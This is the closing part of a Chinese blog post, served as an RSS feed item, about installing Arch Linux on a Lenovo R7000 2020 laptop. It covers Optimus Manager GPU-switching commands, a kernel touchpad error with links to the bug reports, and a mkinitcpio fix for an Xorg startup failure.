<li>switching method不使用bbswitch是因为使用集成显卡的时候通过bbswitch关闭独立显卡会导致电脑的风扇以最高转速狂转，可能是因为关闭了独立显卡电源之后，系统无法正常读取独显温度导致将风扇调至最高转速，暂时没有找到一个比较靠谱的解决方法，所以就先用none，也许未来BIOS升级之后能解决这个问题</li>
<li>正是因为switching method选择了none，所以把pci_power_control启用了，让PCI power management管理独显的电源</li>
<li>AMD的driver使用amdgpu</li>
<li>其余配置基本都是默认配置</li>
</ul>
<p>一些都配置好了就重启电脑吧，如果没有什么意外的话，Optimus Manager已经正常工作了。</p>
<h3 id="optimus-manager用法">Optimus Manager用法</h3>
<ul>
<li>
<p>切换到NVIDIA：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --switch nvidia
</span></span></code></pre></div></li>
<li>
<p>切换到AMD：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --switch amd
</span></span></code></pre></div></li>
<li>
<p>设置开机使用AMD：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --set-startup<span class="o">=</span>amd
</span></span></code></pre></div></li>
<li>
<p>显示当前模式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --print-mode
</span></span></code></pre></div></li>
<li>
<p>显示开机使用的模式：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --print-startup
</span></span></code></pre></div></li>
<li>
<p>更多用法：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">optimus-manager --help
</span></span></code></pre></div></li>
</ul>
<h3 id="optimus-manager-gui">Optimus Manager GUI</h3>
<ul>
<li>
<p><a href="https://github.com/Shatur95/optimus-manager-qt">Optimus Manager Qt</a></p>
<p><img alt="optimus-manager-qt" loading="lazy" src="/lenovo-R7000-2020-unboxing-and-ArchLinux-installation/optimus-manager-qt.png"></p>
</li>
<li>
<p>Argos Script For Optimus-Manager</p>
<p><img alt="argos-optimus-manager" loading="lazy" src="/lenovo-R7000-2020-unboxing-and-ArchLinux-installation/argos-optimus-manager.png"></p>
<p>由于<a href="https://github.com/inzar98/optimus-manager-argos">原版的optimus-manager-argos</a>不支持AMD显卡的切换，同时也停止维护了，所以我Fork了一份，加上了AMD的支持：<a href="https://github.com/LGiki/optimus-manager-argos">https://github.com/LGiki/optimus-manager-argos</a></p>
</li>
</ul>
<h2 id="触摸板">触摸板</h2>
<p>是的，这台机器的触摸板在Linux下无法正常使用，触摸跟按键都没有任何反应。</p>
<p>在内核日志上可以找到关于触摸板的报错内容：</p>
<pre tabindex="0"><code>[    1.981868] i2c_hid i2c-MSFT0001:00: supply vdd not found, using dummy regulator
[    1.981883] i2c_hid i2c-MSFT0001:00: supply vddl not found, using dummy regulator
[    7.064976] i2c_hid i2c-MSFT0001:00: failed to reset device.
[   13.251401] i2c_hid i2c-MSFT0001:00: failed to reset device.
[   19.438327] i2c_hid i2c-MSFT0001:00: failed to reset device.
[   25.624986] i2c_hid i2c-MSFT0001:00: failed to reset device.
[   26.638144] i2c_hid i2c-MSFT0001:00: can&#39;t add hid device: -61
[   26.638591] i2c_hid: probe of i2c-MSFT0001:00 failed with error -61
</code></pre><p>找到了一个相关的讨论：<a href="https://bugzilla.kernel.org/show_bug.cgi?id=207759">https://bugzilla.kernel.org/show_bug.cgi?id=207759</a></p>
<p>由于我平时都是用鼠标，几乎用不到笔记本的触摸板，所以也懒得去研究这个问题了，说不定随着内核的更新，触摸板突然就能用了呢（想peach）。</p>
<h3 id="更新-20210118">更新 (2021.01.18)</h3>
<p>针对触摸板无法正常使用的相关讨论可以看：<a href="https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1887190">https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1887190</a></p>
<p>5.11及之后的内核应该就修复这个问题了，只需要等5.11内核release之后及时更新即可。</p>
<h2 id="xorg无法启动">Xorg无法启动</h2>
<p>如果你遇到了Xorg无法启动的问题，查看日志找到了如下字样：</p>
<pre tabindex="0"><code>/dev/dri/card0: No such file or directory
</code></pre><p>检查<a href="https://archlinux.org/packages/extra/x86_64/xf86-video-amdgpu/">xf86-video-amdgpu</a>等相关包均安装正常的情况下，需要根据<a href="https://wiki.archlinux.org/index.php/Kernel_mode_setting">https://wiki.archlinux.org/index.php/Kernel_mode_setting</a>中的描述，编辑<code>/etc/mkinitcpio.conf</code>文件，在其中的<code>MODULES</code>部分加入<code>amdgpu</code>：</p>
<pre tabindex="0"><code>MODULES=(amdgpu)
</code></pre><p>保存之后需要执行下面指令，重新生成initramfs images：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo mkinitcpio -P
</span></span></code></pre></div><p>重启系统之后Xorg应该就能正常启动了</p>]]></content:encoded>
    </item>
  </channel>
</rss>
